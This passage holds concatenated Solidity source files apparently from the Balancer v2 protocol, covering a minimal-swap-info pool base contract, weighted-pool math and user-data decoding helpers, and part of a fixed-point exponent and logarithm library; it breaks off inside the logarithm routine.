"@balancer-labs/v2-vault/contracts/interfaces/IMinimalSwapInfoPool.sol"; /** * @dev Extension of `BasePool`, adding a handler for `IMinimalSwapInfoPool.onSwap`. * * Derived contracts must call `BasePool`'s constructor, and implement `_onSwapGivenIn` and `_onSwapGivenOut` along with * `BasePool`'s virtual functions. Inheriting from this contract lets derived contracts choose the Two Token or Minimal * Swap Info specialization settings. */ abstract contract BaseMinimalSwapInfoPool is IMinimalSwapInfoPool, BasePool { // Swap Hooks function onSwap( SwapRequest memory request, uint256 balanceTokenIn, uint256 balanceTokenOut ) public virtual override returns (uint256) { uint256 scalingFactorTokenIn = _scalingFactor(request.tokenIn); uint256 scalingFactorTokenOut = _scalingFactor(request.tokenOut); if (request.kind == IVault.SwapKind.GIVEN_IN) { // Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis. request.amount = _subtractSwapFeeAmount(request.amount); // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); request.amount = _upscale(request.amount, scalingFactorTokenIn); uint256 amountOut = _onSwapGivenIn(request, balanceTokenIn, balanceTokenOut); // amountOut tokens are exiting the Pool, so we round down. return _downscaleDown(amountOut, scalingFactorTokenOut); } else { // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); request.amount = _upscale(request.amount, scalingFactorTokenOut); uint256 amountIn = _onSwapGivenOut(request, balanceTokenIn, balanceTokenOut); // amountIn tokens are entering the Pool, so we round up. amountIn = _downscaleUp(amountIn, scalingFactorTokenIn); // Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis. return _addSwapFeeAmount(amountIn); } } /* * @dev Called when a swap with the Pool occurs, where the amount of tokens entering the Pool is known. * * Returns the amount of tokens that will be taken from the Pool in return. * * All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. The swap fee has already * been deducted from `swapRequest.amount`. * * The return value is also considered upscaled, and will be downscaled (rounding down) before returning it to the * Vault. */ function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 balanceTokenIn, uint256 balanceTokenOut ) internal virtual returns (uint256); /* * @dev Called when a swap with the Pool occurs, where the amount of tokens exiting the Pool is known. * * Returns the amount of tokens that will be granted to the Pool in return. * * All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. * * The return value is also considered upscaled, and will be downscaled (rounding up) before applying the swap fee * and returning it to the Vault. */ function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 balanceTokenIn, uint256 balanceTokenOut ) internal virtual returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol"; import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol"; /* solhint-disable private-vars-leading-underscore */ contract WeightedMath { using FixedPoint for uint256; // A minimum normalized weight imposes a maximum weight ratio. We need this due to limitations in the // implementation of the power function, as these ratios are often exponents. uint256 internal constant _MIN_WEIGHT = 0.01e18; // Having a minimum normalized weight imposes a limit on the maximum number of tokens; // i.e., the largest possible pool is one where all tokens have exactly the minimum weight. uint256 internal constant _MAX_WEIGHTED_TOKENS = 100; // Pool limits that arise from limitations in the fixed point power function (and the imposed 1:100 maximum weight // ratio). // Swap limits: amounts swapped may not be larger than this percentage of total balance. uint256 internal constant _MAX_IN_RATIO = 0.3e18; uint256 internal constant _MAX_OUT_RATIO = 0.3e18; // Invariant growth limit: non-proportional joins cannot cause the invariant to increase by more than this ratio. uint256 internal constant _MAX_INVARIANT_RATIO = 3e18; // Invariant shrink limit: non-proportional exits cannot cause the invariant to decrease by less than this ratio. uint256 internal constant _MIN_INVARIANT_RATIO = 0.7e18; // Invariant is used to collect protocol swap fees by comparing its value between two times. // So we can round always to the same direction. It is also used to initiate the BPT amount // and, because there is a minimum BPT, we round down the invariant. function _calculateInvariant(uint256[] memory normalizedWeights, uint256[] memory balances) internal pure returns (uint256 invariant) { /********************************************************************************************** // invariant _____ // // wi = weight index i | | wi // // bi = balance index i | | bi ^ = i // // i = invariant // **********************************************************************************************/ invariant = FixedPoint.ONE; for (uint256 i = 0; i < normalizedWeights.length; i++) { invariant = invariant.mulDown(balances[i].powDown(normalizedWeights[i])); } _require(invariant > 0, Errors.ZERO_INVARIANT); } // Computes how many tokens can be taken out of a pool if `amountIn` are sent, given the // current balances and weights. function _calcOutGivenIn( uint256 balanceIn, uint256 weightIn, uint256 balanceOut, uint256 weightOut, uint256 amountIn ) internal pure returns (uint256) { /********************************************************************************************** // outGivenIn // // aO = amountOut // // bO = balanceOut // // bI = balanceIn / / bI \ (wI / wO) \ // // aI = amountIn aO = bO * | 1 - | -------------------------- | ^ | // // wI = weightIn \ \ ( bI + aI ) / / // // wO = weightOut // **********************************************************************************************/ // Amount out, so we round down overall. // The multiplication rounds down, and the subtrahend (power) rounds up (so the base rounds up too). // Because bI / (bI + aI) <= 1, the exponent rounds down. // Cannot exceed maximum in ratio _require(amountIn <= balanceIn.mulDown(_MAX_IN_RATIO), Errors.MAX_IN_RATIO); uint256 denominator = balanceIn.add(amountIn); uint256 base = balanceIn.divUp(denominator); uint256 exponent = weightIn.divDown(weightOut); uint256 power = base.powUp(exponent); return balanceOut.mulDown(power.complement()); } // Computes how many tokens must be sent to a pool in order to take `amountOut`, given the // current balances and weights. function _calcInGivenOut( uint256 balanceIn, uint256 weightIn, uint256 balanceOut, uint256 weightOut, uint256 amountOut ) internal pure returns (uint256) { /********************************************************************************************** // inGivenOut // // aO = amountOut // // bO = balanceOut // // bI = balanceIn / / bO \ (wO / wI) \ // // aI = amountIn aI = bI * | | -------------------------- | ^ - 1 | // // wI = weightIn \ \ ( bO - aO ) / / // // wO = weightOut // **********************************************************************************************/ // Amount in, so we round up overall. // The multiplication rounds up, and the power rounds up (so the base rounds up too). // Because b0 / (b0 - a0) >= 1, the exponent rounds up. // Cannot exceed maximum out ratio _require(amountOut <= balanceOut.mulDown(_MAX_OUT_RATIO), Errors.MAX_OUT_RATIO); uint256 base = balanceOut.divUp(balanceOut.sub(amountOut)); uint256 exponent = weightOut.divUp(weightIn); uint256 power = base.powUp(exponent); // Because the base is larger than one (and the power rounds up), the power should always be larger than one, so // the following subtraction should never revert. uint256 ratio = power.sub(FixedPoint.ONE); return balanceIn.mulUp(ratio); } function _calcBptOutGivenExactTokensIn( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory amountsIn, uint256 bptTotalSupply, uint256 swapFeePercentage ) internal pure returns (uint256) { // BPT out, so we round down overall. uint256[] memory balanceRatiosWithFee = new uint256[](amountsIn.length); uint256 invariantRatioWithFees = 0; for (uint256 i = 0; i < balances.length; i++) { balanceRatiosWithFee[i] = balances[i].add(amountsIn[i]).divDown(balances[i]); invariantRatioWithFees = invariantRatioWithFees.add(balanceRatiosWithFee[i].mulDown(normalizedWeights[i])); } uint256 invariantRatio = FixedPoint.ONE; for (uint256 i = 0; i < balances.length; i++) { uint256 amountInWithoutFee; if (balanceRatiosWithFee[i] > invariantRatioWithFees) { uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithFees.sub(FixedPoint.ONE)); uint256 taxableAmount = amountsIn[i].sub(nonTaxableAmount); amountInWithoutFee = nonTaxableAmount.add(taxableAmount.mulDown(FixedPoint.ONE.sub(swapFeePercentage))); } else { amountInWithoutFee = amountsIn[i]; } uint256 balanceRatio = balances[i].add(amountInWithoutFee).divDown(balances[i]); invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i])); } if (invariantRatio > FixedPoint.ONE) { return bptTotalSupply.mulDown(invariantRatio.sub(FixedPoint.ONE)); } else { return 0; } } function _calcTokenInGivenExactBptOut( uint256 balance, uint256 normalizedWeight, uint256 bptAmountOut, uint256 bptTotalSupply, uint256 swapFeePercentage ) internal pure returns (uint256) { /****************************************************************************************** // tokenInForExactBPTOut // // a = amountIn // // b = balance / / totalBPT + bptOut \ (1 / w) \ // // bptOut = bptAmountOut a = b * | | -------------------------- | ^ - 1 | // // bpt = totalBPT \ \ totalBPT / / // // w = weight // ******************************************************************************************/ // Token in, so we round up overall. // Calculate the factor by which the invariant will increase after minting BPTAmountOut uint256 invariantRatio = bptTotalSupply.add(bptAmountOut).divUp(bptTotalSupply); _require(invariantRatio <= _MAX_INVARIANT_RATIO, Errors.MAX_OUT_BPT_FOR_TOKEN_IN); // Calculate by how much the token balance has to increase to match the invariantRatio uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divUp(normalizedWeight)); uint256 amountInWithoutFee = balance.mulUp(balanceRatio.sub(FixedPoint.ONE)); // We can now compute how much extra balance is being deposited and used in virtual swaps, and charge swap fees // accordingly. uint256 taxablePercentage = normalizedWeight.complement(); uint256 taxableAmount = amountInWithoutFee.mulUp(taxablePercentage); uint256 nonTaxableAmount = amountInWithoutFee.sub(taxableAmount); return nonTaxableAmount.add(taxableAmount.divUp(FixedPoint.ONE.sub(swapFeePercentage))); } function _calcBptInGivenExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, uint256[] memory amountsOut, uint256 bptTotalSupply, uint256 swapFeePercentage ) internal pure returns (uint256) { // BPT in, so we round up overall. uint256[] memory balanceRatiosWithoutFee = new uint256[](amountsOut.length); uint256 invariantRatioWithoutFees = 0; for (uint256 i = 0; i < balances.length; i++) { balanceRatiosWithoutFee[i] = balances[i].sub(amountsOut[i]).divUp(balances[i]); invariantRatioWithoutFees = invariantRatioWithoutFees.add( balanceRatiosWithoutFee[i].mulUp(normalizedWeights[i]) ); } uint256 invariantRatio = FixedPoint.ONE; for (uint256 i = 0; i < balances.length; i++) { // Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it to // 'token out'. This results in slightly larger price impact. uint256 amountOutWithFee; if (invariantRatioWithoutFees > balanceRatiosWithoutFee[i]) { uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithoutFees.complement()); uint256 taxableAmount = amountsOut[i].sub(nonTaxableAmount); amountOutWithFee = nonTaxableAmount.add(taxableAmount.divUp(FixedPoint.ONE.sub(swapFeePercentage))); } else { amountOutWithFee = amountsOut[i]; } uint256 balanceRatio = balances[i].sub(amountOutWithFee).divDown(balances[i]); invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i])); } return bptTotalSupply.mulUp(invariantRatio.complement()); } function _calcTokenOutGivenExactBptIn( uint256 balance, uint256 normalizedWeight, uint256 bptAmountIn, uint256 bptTotalSupply, uint256 swapFeePercentage ) internal pure returns (uint256) { /***************************************************************************************** // exactBPTInForTokenOut // // a = amountOut // // b = balance / / totalBPT - bptIn \ (1 / w) \ // // bptIn = bptAmountIn a = b * | 1 - | -------------------------- | ^ | // // bpt = totalBPT \ \ totalBPT / / // // w = weight // *****************************************************************************************/ // Token out, so we round down overall. The multiplication rounds down, but the power rounds up (so the base // rounds up). Because (totalBPT - bptIn) / totalBPT <= 1, the exponent rounds down. // Calculate the factor by which the invariant will decrease after burning BPTAmountIn uint256 invariantRatio = bptTotalSupply.sub(bptAmountIn).divUp(bptTotalSupply); _require(invariantRatio >= _MIN_INVARIANT_RATIO, Errors.MIN_BPT_IN_FOR_TOKEN_OUT); // Calculate by how much the token balance has to decrease to match invariantRatio uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divDown(normalizedWeight)); // Because of rounding up, balanceRatio can be greater than one. Using complement prevents reverts. uint256 amountOutWithoutFee = balance.mulDown(balanceRatio.complement()); // We can now compute how much excess balance is being withdrawn as a result of the virtual swaps, which result // in swap fees. uint256 taxablePercentage = normalizedWeight.complement(); // Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it // to 'token out'. This results in slightly larger price impact. Fees are rounded up. uint256 taxableAmount = amountOutWithoutFee.mulUp(taxablePercentage); uint256 nonTaxableAmount = amountOutWithoutFee.sub(taxableAmount); return nonTaxableAmount.add(taxableAmount.mulDown(FixedPoint.ONE.sub(swapFeePercentage))); } function _calcTokensOutGivenExactBptIn( uint256[] memory balances, uint256 bptAmountIn, uint256 totalBPT ) internal pure returns (uint256[] memory) { /********************************************************************************************** // exactBPTInForTokensOut // // (per token) // // aO = amountOut / bptIn \ // // b = balance a0 = b * | --------------------- | // // bptIn = bptAmountIn \ totalBPT / // // bpt = totalBPT // **********************************************************************************************/ // Since we're computing an amount out, we round down overall. This means rounding down on both the // multiplication and division. uint256 bptRatio = bptAmountIn.divDown(totalBPT); uint256[] memory amountsOut = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { amountsOut[i] = balances[i].mulDown(bptRatio); } return amountsOut; } function _calcDueTokenProtocolSwapFeeAmount( uint256 balance, uint256 normalizedWeight, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) internal pure returns (uint256) { /********************************************************************************* /* protocolSwapFeePercentage * balanceToken * ( 1 - (previousInvariant / currentInvariant) ^ (1 / weightToken)) *********************************************************************************/ if (currentInvariant <= previousInvariant) { // This shouldn't happen outside of rounding errors, but have this safeguard nonetheless to prevent the Pool // from entering a locked state in which joins and exits revert while computing accumulated swap fees. return 0; } // We round down to prevent issues in the Pool's accounting, even if it means paying slightly less in protocol // fees to the Vault. // Fee percentage and balance multiplications round down, while the subtrahend (power) rounds up (as does the // base). Because previousInvariant / currentInvariant <= 1, the exponent rounds down. uint256 base = previousInvariant.divUp(currentInvariant); uint256 exponent = FixedPoint.ONE.divDown(normalizedWeight); // Because the exponent is larger than one, the base of the power function has a lower bound. We cap to this // value to avoid numeric issues, which means in the extreme case (where the invariant growth is larger than // 1 / min exponent) the Pool will pay less in protocol fees than it should. base = Math.max(base, FixedPoint.MIN_POW_BASE_FREE_EXPONENT); uint256 power = base.powUp(exponent); uint256 tokenAccruedFees = balance.mulDown(power.complement()); return tokenAccruedFees.mulDown(protocolSwapFeePercentage); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "./BaseWeightedPool.sol"; library WeightedPoolUserDataHelpers { function joinKind(bytes memory self) internal pure returns (BaseWeightedPool.JoinKind) { return abi.decode(self, (BaseWeightedPool.JoinKind)); } function exitKind(bytes memory self) internal pure returns (BaseWeightedPool.ExitKind) { return abi.decode(self, (BaseWeightedPool.ExitKind)); } // Joins function initialAmountsIn(bytes memory self) internal pure returns (uint256[] memory amountsIn) { (, amountsIn) = abi.decode(self, (BaseWeightedPool.JoinKind, uint256[])); } function exactTokensInForBptOut(bytes memory self) internal pure returns (uint256[] memory amountsIn, uint256 minBPTAmountOut) { (, amountsIn, minBPTAmountOut) = abi.decode(self, (BaseWeightedPool.JoinKind, uint256[], uint256)); } function tokenInForExactBptOut(bytes memory self) internal pure returns (uint256 bptAmountOut, uint256 tokenIndex) { (, bptAmountOut, tokenIndex) = abi.decode(self, (BaseWeightedPool.JoinKind, uint256, uint256)); } // Exits function exactBptInForTokenOut(bytes memory self) internal pure returns (uint256 bptAmountIn, uint256 tokenIndex) { (, bptAmountIn, tokenIndex) = abi.decode(self, (BaseWeightedPool.ExitKind, uint256, uint256)); } function exactBptInForTokensOut(bytes memory self) internal pure returns (uint256 bptAmountIn) { (, bptAmountIn) = abi.decode(self, (BaseWeightedPool.ExitKind, uint256)); } function bptInForExactTokensOut(bytes memory self) internal pure returns (uint256[] memory amountsOut, uint256 maxBPTAmountIn) { (, amountsOut, maxBPTAmountIn) = abi.decode(self, (BaseWeightedPool.ExitKind, uint256[], uint256)); } } // SPDX-License-Identifier: MIT // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated // documentation files (the “Software”), to deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the // Software. // THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE // WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR // COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /* solhint-disable */ /** * @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument). * * Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural * exponentiation and logarithm (where the base is Euler's number). * * @author Fernando Martinelli - @fernandomartinelli * @author Sergio Yuhjtman - @sergioyuhjtman * @author Daniel Fernandez - @dmf7z */ library LogExpMath { // All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying // two numbers, and multiply by ONE when dividing them. // All arguments and return values are 18 decimal fixed point numbers. int256 constant ONE_18 = 1e18; // Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the // case of ln36, 36 decimals. int256 constant ONE_20 = 1e20; int256 constant ONE_36 = 1e36; // The domain of natural exponentiation is bound by the word size and number of decimals used. // // Because internally the result will be stored using 20 decimals, the largest possible result is // (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221. // The smallest possible result is 10^(-18), which makes largest negative argument // ln(10^(-18)) = -41.446531673892822312. // We use 130.0 and -41.0 to have some safety margin. int256 constant MAX_NATURAL_EXPONENT = 130e18; int256 constant MIN_NATURAL_EXPONENT = -41e18; // Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point // 256 bit integer. int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17; int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17; uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20); // 18 decimal constants int256 constant x0 = 128000000000000000000; // 2ˆ7 int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals) int256 constant x1 = 64000000000000000000; // 2ˆ6 int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals) // 20 decimal constants int256 constant x2 = 3200000000000000000000; // 2ˆ5 int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2) int256 constant x3 = 1600000000000000000000; // 2ˆ4 int256 constant a3 = 888611052050787263676000000; // eˆ(x3) int256 constant x4 = 800000000000000000000; // 2ˆ3 int256 constant a4 = 298095798704172827474000; // eˆ(x4) int256 constant x5 = 400000000000000000000; // 2ˆ2 int256 constant a5 = 5459815003314423907810; // eˆ(x5) int256 constant x6 = 200000000000000000000; // 2ˆ1 int256 constant a6 = 738905609893065022723; // eˆ(x6) int256 constant x7 = 100000000000000000000; // 2ˆ0 int256 constant a7 = 271828182845904523536; // eˆ(x7) int256 constant x8 = 50000000000000000000; // 2ˆ-1 int256 constant a8 = 164872127070012814685; // eˆ(x8) int256 constant x9 = 25000000000000000000; // 2ˆ-2 int256 constant a9 = 128402541668774148407; // eˆ(x9) int256 constant x10 = 12500000000000000000; // 2ˆ-3 int256 constant a10 = 113314845306682631683; // eˆ(x10) int256 constant x11 = 6250000000000000000; // 2ˆ-4 int256 constant a11 = 106449445891785942956; // eˆ(x11) /** * @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent. * * Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`. */ function pow(uint256 x, uint256 y) internal pure returns (uint256) { if (y == 0) { // We solve the 0^0 indetermination by making it equal one. return uint256(ONE_18); } if (x == 0) { return 0; } // Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to // arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means // x^y = exp(y * ln(x)). // The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range. _require(x < 2**255, Errors.X_OUT_OF_BOUNDS); int256 x_int256 = int256(x); // We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In // both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end. // This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range. _require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS); int256 y_int256 = int256(y); int256 logx_times_y; if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) { int256 ln_36_x = _ln_36(x_int256); // ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just // bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal // multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the // (downscaled) last 18 decimals. logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18); } else { logx_times_y = _ln(x_int256) * y_int256; } logx_times_y /= ONE_18; // Finally, we compute exp(y * ln(x)) to arrive at x^y _require( MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT, Errors.PRODUCT_OUT_OF_BOUNDS ); return uint256(exp(logx_times_y)); } /** * @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent. * * Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`. */ function exp(int256 x) internal pure returns (int256) { _require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT); if (x < 0) { // We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it // fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT). // Fixed point division requires multiplying by ONE_18. return ((ONE_18 * ONE_18) / exp(-x)); } // First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n, // where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7 // because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the // decomposition. // At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this // decomposition, which will be lower than the smallest x_n. // exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1. // We mutate x by subtracting x_n, making it the remainder of the decomposition. // The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause // intermediate overflows. Instead we store them as plain integers, with 0 decimals. // Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the // decomposition. // For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct // it and compute the accumulated product. int256 firstAN; if (x >= x0) { x -= x0; firstAN = a0; } else if (x >= x1) { x -= x1; firstAN = a1; } else { firstAN = 1; // One with no decimal places } // We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the // smaller terms. x *= 100; // `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point // one. Recall that fixed point multiplication requires dividing by ONE_20. int256 product = ONE_20; if (x >= x2) { x -= x2; product = (product * a2) / ONE_20; } if (x >= x3) { x -= x3; product = (product * a3) / ONE_20; } if (x >= x4) { x -= x4; product = (product * a4) / ONE_20; } if (x >= x5) { x -= x5; product = (product * a5) / ONE_20; } if (x >= x6) { x -= x6; product = (product * a6) / ONE_20; } if (x >= x7) { x -= x7; product = (product * a7) / ONE_20; } if (x >= x8) { x -= x8; product = (product * a8) / ONE_20; } if (x >= x9) { x -= x9; product = (product * a9) / ONE_20; } // x10 and x11 are unnecessary here since we have high enough precision already. // Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series // expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!). int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places. int256 term; // Each term in the sum, where the nth term is (x^n / n!). // The first term is simply x. term = x; seriesSum += term; // Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number, // multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not. term = ((term * x) / ONE_20) / 2; seriesSum += term; term = ((term * x) / ONE_20) / 3; seriesSum += term; term = ((term * x) / ONE_20) / 4; seriesSum += term; term = ((term * x) / ONE_20) / 5; seriesSum += term; term = ((term * x) / ONE_20) / 6; seriesSum += term; term = ((term * x) / ONE_20) / 7; seriesSum += term; term = ((term * x) / ONE_20) / 8; seriesSum += term; term = ((term * x) / ONE_20) / 9; seriesSum += term; term = ((term * x) / ONE_20) / 10; seriesSum += term; term = ((term * x) / ONE_20) / 11; seriesSum += term; term = ((term * x) / ONE_20) / 12; seriesSum += term; // 12 Taylor terms are sufficient for 18 decimal precision. // We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor // approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply // all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication), // and then drop two digits to return an 18 decimal value. return (((product * seriesSum) / ONE_20) * firstAN) / 100; } /** * @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument. */ function log(int256 arg, int256 base) internal pure returns (int256) { // This performs a simple base change: log(arg, base) = ln(arg) / ln(base). // Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by // upscaling. int256 logBase; if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) { logBase = _ln_36(base); } else { logBase = _ln(base) * ONE_18; } int256 logArg; if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) { logArg = _ln_36(arg); } else { logArg = _ln(arg) * ONE_18; } // When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places return (logArg * ONE_18) / logBase; } /** * @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument. */ function ln(int256 a) internal pure returns (int256) { // The real natural logarithm is not defined for negative numbers or zero. _require(a > 0, Errors.OUT_OF_BOUNDS); if (LN_36_LOWER_BOUND < a && a < LN_36_UPPER_BOUND) { return _ln_36(a) / ONE_18; } else { return _ln(a); } } /** * @dev Internal natural logarithm (ln(a)) with signed 18 decimal fixed point argument. */ function _ln(int256 a) private pure returns (int256) { if (a < ONE_18) { // Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less // than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call. // Fixed point division requires multiplying by ONE_18. return (-_ln((ONE_18 * ONE_18) / a)); } // First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which // we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is, // ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot // be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a. // At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this // decomposition, which will be lower than the smallest a_n. // ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1. // We mutate a by subtracting a_n, making it the remainder of the decomposition. // For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point // numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by // ONE_18 to convert them to fixed point. // For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide // by it and compute the accumulated sum. int256 sum = 0; if (a >= a0 * ONE_18) { a /= a0; // Integer, not fixed point division sum += x0; } if (a >= a1 * ONE_18) { a /= a1; // Integer, not fixed point division sum += x1; } // All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format. sum *= 100; a *= 100; // Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them. if (a >= a2) { a = (a * ONE_20) / a2; sum += x2; } if (a >= a3) { a = (a * ONE_20) / a3; sum += x3; } if (a >= a4) { a = (a * ONE_20) / a4; sum += x4; } if (a >= a5) { a = (a * ONE_20) / a5; sum += x5; } if (a >= a6) { a = (a * ONE_20) / a6; sum += x6; } if (a >= a7) { a = (a * ONE_20) / a7; sum += x7; } if (a >= a8) { a = (a * ONE_20) / a8; sum += x8; } if (a >= a9) { a = (a * ONE_20) / a9; sum += x9; } if (a >= a10) { a = (a * ONE_20) / a10; sum += x10; } if (a >= a11) { a = (a * ONE_20) / a11; sum += x11; } // a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series // that converges rapidly for values of `a` close to one - the same one used in ln_36. // Let z = (a - 1) / (a + 1). // ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 